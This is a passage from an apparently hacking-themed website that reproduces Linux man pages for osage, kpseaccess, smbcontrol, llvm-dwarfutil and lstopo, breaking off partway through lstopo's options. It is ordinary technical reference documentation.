Osage uses an extensible plugin mechanism for its output renderers, so to see what output formats your installation of osage supports you can use ``osage -Txxx’’ (where xxx is an unlikely format) and check the warning message. Also, The plugin mechanism supports multiple implementations of the output formats. To see what variants are available, use, for example: ``osage -Tpng:’’ and to force a particular variant, use, for example: ``osage -Tpng:gd''

Traditionally, osage supports the following: -Tps (PostScript), -Tsvg -Tsvgz (Structured Vector Graphics), -Tfig (XFIG graphics), -Tmif (FrameMaker graphics), -Thpgl (HP pen plotters), and -Tpcl (Laserjet printers), -Tpng -Tgif (bitmap graphics), -Tdia (GTK+ based diagrams), -Timap (imagemap files for httpd servers for each node or edge that has a non‐null “href” attribute.), -Tcmapx (client‐side imagemap for use in html and xhtml). Additional less common or more special‐purpose output formats can be found at http://www.graphviz.org/doc/info/output.html.)

Alternative plugins providing support for a given output format can be found from the error message resulting from appending a ‘:’ to the format. e.g. -Tpng: The first plugin listed is always the default.

GRAPH FILE LANGUAGE

Here is a synopsis of the graph file language, normally using the extension .gv, for graphs:

[strict] (graph|digraph) name { statement‐list }
Is the top level graph. If the graph is strict then multiple edges are not allowed between the same pairs of nodes. If it is a directed graph, indicated by digraph, then the edgeop must be “->”. If it is an undirected graph then the edgeop must be “–”. Statements may be:

name**=val;**
node [name=val];
edge [name=val];
Set default graph, node, or edge attribute name to val. Any subgraph, node, or edge appearing after this inherits the new default attributes.

n0 [name0=val0,name1=val1,…]; Creates node n0 (if it does not already exist) and sets its attributes according to the optional list.

n0 edgeop n1 edgeop edgeop nn [name0=val0,name1=val1,…];
Creates edges between nodes n0, n1, …, nn and sets their attributes according to the optional list. Creates nodes as necessary.

[subgraph name**] {** statement‐list }
Creates a subgraph. Subgraphs may be used in place of n0, …, nn in the above statements to create edges. [subgraph name] is optional; if missing, the subgraph is assigned an internal name.

Comments may be /*C‐like*/ or //C++‐like.

Attribute names and values are ordinary (C‐style) strings. The following sections describe attributes that control graph layout.

GRAPH ATTRIBUTES

size="x,y" sets bounding box of drawing in inches.

page="x,y" sets the PostScript pagination unit.

**ratio=**f sets the aspect ratio to f which may be a floating point number, or one of the keywords fill, compress, or auto.

pagedir=[TBLR][TBLR] sets the major and minor order of pagination.

rotate=90 sets landscape mode. (orientation=land is backward compatible but obsolete.)

**center=**n a non‐zero value centers the drawing on the page.

**layers="**id:id:id:id" is a sequence of layer identifiers for overlay diagrams. The PostScript array variable layercolorseq sets the assignment of colors to layers. The least index is 1 and each element must be a 3‐element array to be interpreted as a color coordinate.

**color=**colorvalue sets foreground color (bgcolor for background).

href=“url” the default url for image map files; in PostScript files, the base URL for all relative URLs, as recognized by Acrobat Distiller 3.0 and up.

URL=“url” (“URL” is a synonym for “href”.)

stylesheet=“file.css” includes a reference to a stylesheet in -Tsvg and -Tsvgz outputs. Ignored by other formats.

splines. If set to true, edges are drawn as splines. If set to polyline, edges are drawn as polylines. If set to ortho, edges are drawn as orthogonal polylines. In all of these cases, the nodes may not overlap. If **splines=**false or **splines=**line, edges are drawn as line segments. The default is false.

NODE ATTRIBUTES

**height=**d or **width=**d sets minimum height or width. Adding fixedsize=true forces these to be the actual size (text labels are ignored).

shape=record polygon epsf builtin_polygon
builtin_polygon is one of: plaintext ellipse oval circle egg triangle box diamond trapezium parallelogram house hexagon octagon note tab box3d component. (Polygons are defined or modified by the following node attributes: regular, peripheries, sides, orientation, distortion and skew.) epsf uses the node’s shapefile attribute as the path name of an external EPSF file to be automatically loaded for the node shape.

**label=**text where text may include escaped newlines \n, \l, or \r for center, left, and right justified lines. The string ‘\N’ value will be replaced by the node name. The string ‘\G’ value will be replaced by the graph name. Record labels may contain recursive box lists delimited by { | }. Port identifiers in labels are set off by angle brackets < >. In the graph file, use colon (such as, node0:port28).

**fontsize=**n sets the label type size to n points.

**fontname=**name sets the label font family name.

**color=**colorvalue sets the outline color, and the default fill color if style=filled and fillcolor is not specified.

**fillcolor=**colorvalue sets the fill color when style=filled. If not specified, the fillcolor when style=filled defaults to be the same as the outline color.

**fontcolor=**colorvalue sets the label text color.

A colorvalue may be “h,s,v**”** (hue, saturation, brightness) floating point numbers between 0 and 1, or an X11 color name such as white black red green blue yellow magenta cyan or burlywood, or a “#rrggbb” (red, green, blue, 2 hex characters each) value.

style=filled solid dashed dotted bold invis or any Postscript code.

**layer=**id or id:id or “all” sets the node’s active layers. The empty string means no layers (invisible).

The following attributes apply only to polygon shape nodes:

**regular=**n if n is non‐zero then the polygon is made regular, i.e. symmetric about the x and y axis, otherwise the polygon takes on the aspect ratio of the label. builtin_polygons that are not already regular are made regular by this attribute. builtin_polygons that are already regular are not affected (i.e. they cannot be made asymmetric).

**peripheries=**n sets the number of periphery lines drawn around the polygon. This value supersedes the number of periphery lines of builtin_polygons.

**sides=**n sets the number of sides to the polygon. n<3 results in an ellipse. This attribute is ignored by builtin_polygons.

**orientation=**f sets the orientation of the first apex of the polygon counterclockwise from the vertical, in degrees. f may be a floating point number. The orientation of labels is not affected by this attribute. This attribute is added to the initial orientation of builtin_polygons.

**distortion=**f sets the amount of broadening of the top and narrowing of the bottom of the polygon (relative to its orientation). Floating point values between -1 and +1 are suggested. This attribute is ignored by builtin_polygons.

**skew=**f sets the amount of right‐displacement of the top and left‐displacement of the bottom of the polygon (relative to its orientation). Floating point values between -1 and +1 are suggested. This attribute is ignored by builtin_polygons.

href=“url” sets the url for the node in imagemap, PostScript and SVG files. The substrings ‘\N’ and ‘\G’ are substituted in the same manner as for the node label attribute. Additionally the substring ‘\L’ is substituted with the node label string.

URL=“url” (“URL” is a synonym for “href”.)

target=“target” is a target string for client‐side imagemaps and SVG, effective when nodes have a URL. The target string is used to determine which window of the browser is used for the URL. Setting it to “_graphviz” will open a new window if it doesn’t already exist, or reuse it if it does. If the target string is empty, the default, then no target attribute is included in the output. The substrings ‘\N’ and ‘\G’ are substituted in the same manner as for the node label attribute. Additionally the substring ‘\L’ is substituted with the node label string.

tooltip=“tooltip” is a tooltip string for client‐side imagemaps and SVG, effective when nodes have a URL. The tooltip string defaults to be the same as the label string, but this attribute permits nodes without labels to still have tooltips thus permitting denser graphs. The substrings ‘\N’ and ‘\G’ are substituted in the same manner as for the node label attribute. Additionally the substring ‘\L’ is substituted with the node label string.

EDGE ATTRIBUTES

**label=**text where text may include escaped newlines \n, \l, or \r for centered, left, or right justified lines. If the substring ‘\T’ is found in a label it will be replaced by the tail_node name. If the substring ‘\H’ is found in a label it will be replaced by the head_node name. If the substring ‘’ value is found in a label it will be replaced by: tail_node_name->head_node_name If the substring ‘\G’ is found in a label it will be replaced by the graph name. or by: tail_node_name–head_node_name for undirected graphs.

**fontsize=**n sets the label type size to n points.

**fontname=**name sets the label font family name.

**fontcolor=**colorvalue sets the label text color.

style=solid dashed dotted bold invis

**color=**colorvalue sets the line color for edges.

**color=**colorvaluelist a ‘:’ separated list of colorvalue creates parallel edges, one edge for each color.

dir=forward back both none controls arrow direction.

tailclip,headclip=false disables endpoint shape clipping.

href=“url” sets the url for the node in imagemap, PostScript and SVG files. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

URL=“url” (“URL” is a synonym for “href”.)

target=“target” is a target string for client‐side imagemaps and SVG, effective when edges have a URL. If the target string is empty, the default, then no target attribute is included in the output. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

tooltip=“tooltip” is a tooltip string for client‐side imagemaps effective when edges have a URL. The tooltip string defaults to be the same as the edge label string. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

arrowhead,arrowtail=none, normal, inv, dot, odot, invdot, invodot, tee, empty, invempty, open, halfopen, diamond, odiamond, box, obox, crow.

arrowsize (norm_length=10,norm_width=5, inv_length=6,inv_width=7,dot_radius=2)

headlabel,taillabel=string for port labels. labelfontcolor,labelfontname,labelfontsize for head and tail labels. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

headhref=“url” sets the url for the head port in imagemap, PostScript and SVG files. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

headURL=“url” (“headURL” is a synonym for “headhref”.)

headtarget=“headtarget” is a target string for client‐side imagemaps and SVG, effective when edge heads have a URL. The headtarget string is used to determine which window of the browser is used for the URL. If the headtarget string is empty, the default, then headtarget defaults to the same value as target for the edge. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

headtooltip=“tooltip” is a tooltip string for client‐side imagemaps effective when head ports have a URL. The tooltip string defaults to be the same as the headlabel string. The substrings ‘\T’, ‘\H’, and ‘’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

tailhref=“url” sets the url for the tail port in imagemap, PostScript and SVG files. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

tailURL=“url” (“tailURL” is a synonym for “tailhref”.)

tailtarget=“tailtarget” is a target string for client‐side imagemaps and SVG, effective when edge tails have a URL. The tailtarget string is used to determine which window of the browser is used for the URL. If the tailtarget string is empty, the default, then tailtarget defaults to the same value as target for the edge. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

tailtooltip=“tooltip” is a tooltip string for client‐side imagemaps effective when tail ports have a URL. The tooltip string defaults to be the same as the taillabel string. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

labeldistance and port_label_distance set distance; also labelangle (in degrees CCW)

decorate draws line from edge to label.

samehead,sametail aim edges having the same value to the same port, using the average landing point.

**layer=**id or id:id or “all” sets the edge’s active layers. The empty string means no layers (invisible).

(neato‐specific attributes)
**w=**f sets the weight (spring constant) of an edge to the given floating point value. The default is 1.0; greater values make the edge tend more toward its optimal length.

**len=**f sets the optimal length of an edge. The default is 1.0.

COMMAND LINE OPTIONS

-G sets a default graph attribute.
-N sets a default node attribute.
-E sets a default edge attribute. Example: -Gsize=“7,8” -Nshape=box -Efontsize=8

-lfile loads custom PostScript library files. Usually these define custom shapes or styles. If -l is given by itself, the standard library is omitted.

-Tlang sets the output language as described above.

-O automatically generate output filenames based on the input filename and the -T format.

-v (verbose) prints various information useful for debugging.

-V (version) prints version information and exits.

-? prints the usage and exits.

EXAMPLES

digraph test123 {
        pack=8
        subgraph cluster0 {
          packmode=array
          x y x0 y0 x1
          subgraph cluster1 {
            m n
          }
        }
        b [shape=box];
        c [label="hello

world",color=blue,fontsize=24, fontname=“Palatino-Italic”,fontcolor=red,style=filled]; a -> z x -> z a -> b -> c; a -> {x y}; edge [style=dashed,color=red]; b -> x; }

AUTHORS

Emden R. Gansner <[email protected]>

SEE ALSO

This man page contains only a small amount of the information related to the Graphviz layout programs. The most complete information can be found at http://www.graphviz.org/Documentation.php, especially in the on‐line reference pages. Most of these documents are also available in the doc and doc/info subtrees in the source and binary distributions.

dot(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1254 - Linux cli command kpseaccess

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command kpseaccess and provides detailed information about the command kpseaccess, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the kpseaccess.

NAME 🖥️ kpseaccess 🖥️

determine whether a file can be accessed

SYNOPSIS

kpseaccess mode file

DESCRIPTION

Exit successfully if file can be accessed with the specified mode. The mode is an optional dash (`-’) followed by zero or more letters of rwx, where r is for readable, w is for writable, and x is for executable.

The difference between kpseaccess and test is that the latter looks at the permission bits, while the former checks using the access(2) system call. This makes a difference when file systems have been mounted read-only.

OPTIONS

kpseaccess accepts the following options:

–help
Print help message and exit.

–version
Print version information and exit.

SEE ALSO

access(2)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1255 - Linux cli command smbcontrol

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command smbcontrol and provides detailed information about the command smbcontrol, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the smbcontrol.

NAME 🖥️ smbcontrol 🖥️

send messages to smbd, nmbd or winbindd processes

SYNOPSIS

smbcontrol [-?|–help] [–usage] [-t|–timeout] [-d|–debuglevel=DEBUGLEVEL] [–debug-stdout] [–configfile=CONFIGFILE] [–option=name=value] [-l|–log-basename=LOGFILEBASE] [–leak-report] [–leak-report-full]

smbcontrol [destination] [message-type] [parameter]

DESCRIPTION

This tool is part of the samba(7) suite.

smbcontrol is a very small program, which sends messages to a smbd(8), a nmbd(8), or a winbindd(8) daemon running on the system.

OPTIONS

-t|–timeout

Set timeout to seconds.

destination

One of nmbd, smbd, winbindd or a process ID.

The all destination causes the message to “broadcast” to all running daemons including nmbd and winbind. This is a change for Samba 3.3, prior to this the parameter smbd used to do this.

The smbd destination causes the message to be sent to the smbd daemon specified in the smbd.pid file.

The nmbd destination causes the message to be sent to the nmbd daemon specified in the nmbd.pid file.

The winbindd destination causes the message to be sent to the winbind daemon specified in the winbindd.pid file.

If a single process ID is given, the message is sent to only that process.

message-type

Type of message to send. See the section MESSAGE-TYPES for details.

parameters

any parameters required for the message-type

-?|–help

Print a summary of command line options.

–usage

Display brief usage message.

-d|–debuglevel=DEBUGLEVEL

level is an integer from 0 to 10. The default value if this parameter is not specified is 1 for client applications.

The higher this value, the more detail will be logged to the log files about the activities of the server. At level 0, only critical errors and serious warnings will be logged. Level 1 is a reasonable level for day-to-day running - it generates a small amount of information about operations carried out.

Levels above 1 will generate considerable amounts of log data, and should only be used when investigating a problem. Levels above 3 are designed for use only by developers and generate HUGE amounts of log data, most of which is extremely cryptic.

Note that specifying this parameter here will override the log level parameter in the /etc/samba/smb.conf file.

–debug-stdout

This will redirect debug output to STDOUT. By default all clients are logging to STDERR.

–configfile=<configuration file>

The file specified contains the configuration details required by the client. The information in this file can be general for client and server or only provide client specific like options such as client smb encrypt. See /etc/samba/smb.conf for more information. The default configuration file name is determined at compile time.

–option=<name>=<value>

Set the smb.conf(5) option “<name>” to value “<value>” from the command line. This overrides compiled-in defaults and options read from the configuration file. If a name or a value includes a space, wrap whole –option=name=value into quotes.

-l|–log-basename=logdirectory

Base directory name for log/debug files. The extension ".progname" will be appended (e.g. log.smbclient, log.smbd, etc…). The log file is never removed by the client.

–leak-report

Enable talloc leak reporting on exit.

–leak-report-full

Enable full talloc leak reporting on exit.

-V|–version

Prints the program version number.

MESSAGE-TYPES

Available message types are:

close-share

Order smbd to close the client connections to the named share. Note that this doesnt affect client connections to any other shares. This message-type takes an argument of the share name for which client connections will be closed, or the “*” character which will close all currently open shares. This may be useful if you made changes to the access controls on the share. This message can only be sent to smbd.

close-denied-share

Behave like close-share, but dont disconnect users that are still allowed to access the share. It can safely be sent to all smbds after changing share access controls. It will only affect users who have been denied access since having connected initially. This message can only be sent to smbd.

debug

Set debug level to the value specified by the parameter. This can be sent to any of the destinations. If this message is sent to either the smbd or winbindd daemons, the parent process will rebroadcast the message to all child processes changing the debug level in each one.

kill-client-ip

Order smbd to close the client connections from a given IP address. This message-type takes an argument of the IP address from which client connections will be closed. This message can only be sent to smbd.

force-election

This message causes the nmbd daemon to force a new browse master election.

ping

Send specified number of “ping” messages and wait for the same number of reply “pong” messages. This can be sent to any of the destinations.

profile

Change profile settings of a daemon, based on the parameter. The parameter can be “on” to turn on profile stats collection, “off” to turn off profile stats collection, “count” to enable only collection of count stats (time stats are disabled), and “flush” to zero the current profile stats. This can be sent to any smbd or nmbd destinations.

debuglevel

Request debuglevel of a certain daemon and write it to stdout. This can be sent to any of the destinations.

profilelevel

Request profilelevel of a certain daemon and write it to stdout. This can be sent to any smbd or nmbd destinations.

printnotify

Order smbd to send a printer notify message to any Windows NT clients connected to a printer. This message-type takes the following arguments:

queuepause printername

Send a queue pause change notify message to the printer specified.

queueresume printername

Send a queue resume change notify message for the printer specified.

jobpause printername unixjobid

Send a job pause change notify message for the printer and unix jobid specified.

jobresume printername unixjobid

Send a job resume change notify message for the printer and unix jobid specified.

jobdelete printername unixjobid

Send a job delete change notify message for the printer and unix jobid specified.

Note that this message only sends notification that an event has occurred. It doesnt actually cause the event to happen.

This message can only be sent to smbd.

dmalloc-mark

Set a mark for dmalloc. Can be sent to both smbd and nmbd. Only available if samba is built with dmalloc support.

dmalloc-log-changed

Dump the pointers that have changed since the mark set by dmalloc-mark. Can be sent to both smbd and nmbd. Only available if samba is built with dmalloc support.

shutdown

Shut down specified daemon. Can be sent to both smbd and nmbd.

pool-usage

Print a human-readable description of all talloc(pool) memory usage by the specified daemon/process. Available for both smbd and nmbd.

ringbuf-log

Fetch and print the ringbuf log. Requires logging = ringbuf. Available for smbd, winbindd and nmbd.

drvupgrade

Force clients of printers using specified driver to update their local version of the driver. Can only be sent to smbd.

reload-config

Force daemon to reload smb.conf configuration file. Can be sent to smbd, nmbd, or winbindd.

reload-printers

Force smbd to reload printers. Can only be sent to smbd.

idmap

Notify about changes of id mapping. Can be sent to smbd or (not implemented yet) winbindd.

flush [uid|gid]

Flush caches for sid <-> gid and/or sid <-> uid mapping.

delete <ID>

Remove a mapping from cache. The mapping is given by <ID> which may either be a sid: S-x-…, a gid: “GID number” or a uid: “UID number”.

kill <ID>

Remove a mapping from cache. Terminate smbd if the id is currently in use.

num-children

Query the number of smbd child processes. This message can only be sent to smbd.

reload-certs

Instruct the LDAP server of a Samba AD DC to reload the TLS certificates protecting ldaps:// connections. This message can only be sent to ldap_server.

VERSION

This man page is part of version 4.20.1-Debian of the Samba suite.

SEE ALSO

nmbd(8) and smbd(8).

AUTHOR

The original Samba software and related utilities were created by Andrew Tridgell. Samba is now developed by the Samba Team as an Open Source project similar to the way the Linux kernel is developed.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1256 - Linux cli command llvm-dwarfutil-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-dwarfutil-17 and provides detailed information about the command llvm-dwarfutil-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-dwarfutil-17.

NAME 🖥️ llvm-dwarfutil-17 🖥️

dwarfutil - A tool to copy and manipulate debug info

SYNOPSIS

llvm-dwarfutil [options] input output

DESCRIPTION

llvm-dwarfutil is a tool to copy and manipulate debug info.

In basic usage, it makes a semantic copy of the input to the output. If any options are specified, the output may be modified along the way, e.g. by removing unused debug info.

If “-” is specified for the input file, the input is read from the program’s standard input stream. If “-” is specified for the output file, the output is written to the standard output stream of the program.

The tool is still in active development.

COMMAND-LINE OPTIONS

–garbage-collection
Removes pieces of debug information related to discarded sections. When the linker does section garbage collection the abandoned debug info is left behind. Such abandoned debug info references address ranges using tombstone values. Thus, when this option is specified, the tool removes debug info which is marked with the tombstone value.

That option is enabled by default.

–odr-deduplication
Remove duplicated types (if “One Definition Rule” is supported by source language). Keeps first type definition and removes other definitions, potentially significantly reducing the size of output debug info.

That option is enabled by default.

–help, -h
Print a summary of command line options.

–no-garbage-collection
Disable –garbage-collection.

–no-odr-deduplication
Disable –odr-deduplication.

–no-separate-debug-file
Disable –separate-debug-file.

–num-threads=<n>, -j
Specifies the maximum number (n) of simultaneous threads to use for processing.

–separate-debug-file
Generate separate file containing output debug info. Using llvm-dwarfutil with that option equals to the following set of commands:

:program:llvm-objcopy –only-keep-debug in-file out-file.debug :program:llvm-objcopy –strip-debug in-file out-file :program:llvm-objcopy –add-gnu-debuglink=out-file.debug out-file

–tombstone=<value>
<value> can be one of the following values:

  • bfd: zero for all addresses and [1,1] for DWARF v4 (or less) address ranges and exec.

  • maxpc: -1 for all addresses and -2 for DWARF v4 (or less) address ranges.

  • universal: both bfd and maxpc.

  • exec: match with address ranges of executable sections.

The value universal is used by default.

–verbose
Enable verbose logging. This option disables multi-thread mode.

–verify
Run the DWARF verifier on the output DWARF debug info.

–version
Print the version of this program.

SUPPORTED FORMATS

The following formats are currently supported by llvm-dwarfutil:

ELF

EXIT STATUS

llvm-dwarfutil exits with a non-zero exit code if there is an error. Otherwise, it exits with code 0.

BUGS

To report bugs, please visit <https://github.com/llvm/llvm-project/labels/tools:llvm-dwarfutil/>.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1257 - Linux cli command lstopo

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lstopo and provides detailed information about the command lstopo, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lstopo.

NAME 🖥️ lstopo 🖥️

no-graphics, hwloc-ls - Show the topology of the system

SYNOPSIS

lstopo [ options ]… [ filename ]

lstopo-no-graphics [ options ]… [ filename ]

hwloc-ls [ options ]… [ filename ]

Note that hwloc(7) provides a detailed explanation of the hwloc system; it should be read before reading this man page

OPTIONS

–of <format>, –output-format <format>
Enforce the output in the given format. See the OUTPUT FORMATS section below.

-i <path>, –input <path>
Read the topology from <path> instead of discovering the topology of the local machine.

If <path> is a file, it may be a XML file exported by a previous hwloc program. If <path> is “-”, the standard input may be used as a XML file.

On Linux, <path> may be a directory containing the topology files gathered from another machine topology with hwloc-gather-topology.

On x86, <path> may be a directory containing a cpuid dump gathered with hwloc-gather-cpuid.

When the archivemount program is available, <path> may also be a tarball containing such Linux or x86 topology files.

-i <specification>, –input <specification>
Simulate a fake hierarchy (instead of discovering the topology on the local machine). If <specification> is “node:2 pu:3”, the topology will contain two NUMA nodes with 3 processing units in each of them. The <specification> string must end with a number of PUs.

–if <format>, –input-format <format>
Enforce the input in the given format, among xml, fsroot, cpuid and synthetic.

–export-xml-flags <flags>
Enforce flags when exporting to the XML format. Flags may be given as numeric values or as a comma-separated list of flag names that are passed to hwloc_topology_export_xml(). Those names may be substrings of actual flag names as long as a single one matches. A value of 1 (or v1) reverts to the format of hwloc v1.x. The default is 0 (or none).

–export-synthetic-flags <flags>
Enforce flags when exporting to the synthetic format. Flags may be given as numeric values or as a comma-separated list of flag names that are passed to hwloc_topology_export_synthetic(). Those names may be substrings of actual flag names as long as a single one matches. A value of 2 (or no_attr) reverts to the format of hwloc v1.9. A value of 3 (or no_ext,no_attr) reverts to the original minimalistic format (before v1.9). The default is 0 (or none).

-v –verbose
Include additional detail. The hwloc-info tool may be used to display even more information about specific objects.

-q –quiet -s –silent
Reduce the amount of details to show.

–distances
Only display distance matrices.

–distances-transform <links|merge-switch-ports|transitive-closure>
Try applying a transformation to distances structures before displaying them. See hwloc_distances_transform() for details. More transformations may be applied using hwloc-annotate(1) (and it may save their output to XML).

–memattrs
Only display memory attributes. All of them are displayed (while the default textual output selects memory attribute details depending on the verbosity level).

–cpukinds
Only display CPU kinds. CPU kinds are displayed in order, starting from the most energy efficient ones up to the rather higher performance and power hungry ones.

–windows-processor-groups
On Windows, only show information about processor groups. All of them are displayed, while the default verbose output only shows them if there are more than one.

-f –force
If the destination file already exists, overwrite it.

-l –logical
Display hwloc logical indexes of all objects, with prefix “L#”. By default, both logical and physical/OS indexes are displayed for PUs and NUMA nodes, logical only for cores, dies and packages, and no index for other types.

-p –physical
Display OS/physical indexes of all objects, with prefix “P#”. By default, both logical and physical/OS indexes are displayed for PUs and NUMA nodes, logical only for cores, dies and packages, and no index for other types.

–logical-index-prefix <prefix>
Replace " L#" with the given prefix for logical indexes.

–os-index-prefix <prefix>
Replace " P#" with the given prefix for physical/OS indexes.

-c –cpuset
Display the cpuset of each object.

-C –cpuset-only
Only display the cpuset of each object; do not display anything else about the object.

–cpuset-output-format <hwloc|list|taskset> –cof <hwloc|list|taskset>
Change the format of displayed CPU set strings. By default, the hwloc-specific format is used. If list is given, the output is a comma-separated of numbers or ranges, e.g. 2,4-5,8 . If taskset is given, output cpusets are compatible with the taskset program (replaces the former –taskset option).

This option should be combined with –cpuset or –cpuset-only, otherwise it will imply –cpuset.

–only <type>
Only show objects of the given type in the textual output.

<type> may contain a filter to select specific objects among the type. For instance –only NUMA[HBM] only shows NUMA nodes marked with subtype “HBM”, while –only “numa[mcdram]” only shows MCDRAM NUMA nodes on KNL.

–filter <type>:<kind>, –filter <type>
Filter objects of type <type>, or of any type if <type> is “all”. “io”, “cache” and “icache” are also supported.

<kind> specifies the filtering behavior. If “none” or not specified, all objects of the given type are removed. If “all”, all objects are kept as usual. If “structure”, objects are kept when they bring structure to the topology. If “important” (only applicable to I/O), only important objects are kept. See hwloc_topology_set_type_filter() for more details.

hwloc supports filtering any type except PUs and NUMA nodes. lstopo also offers PU and NUMA node filtering by hiding them in the graphical and textual outputs, but any object included in them (for instance Misc) will be hidden as well. Note that PUs and NUMA nodes may not be ignored in the XML output. Note also that the top-level object type cannot be ignored (usually Machine or System).

–ignore <type>
This is the old way to specify –filter <type>:none.

–no-smt
Ignore PUs. This is identical to –filter PU:none.

–no-caches
Do not show caches. This is identical to –filter cache:none.

–no-useless-caches
This is identical to –filter cache:structure.

–no-icaches
This is identical to –filter icache:none.

–disallowed
Include objects disallowed by administrative limitations (e.g Cgroups on Linux). Offline PUs and NUMA nodes are still ignored.

–allow <all|local|0xff|nodeset=0xf0>
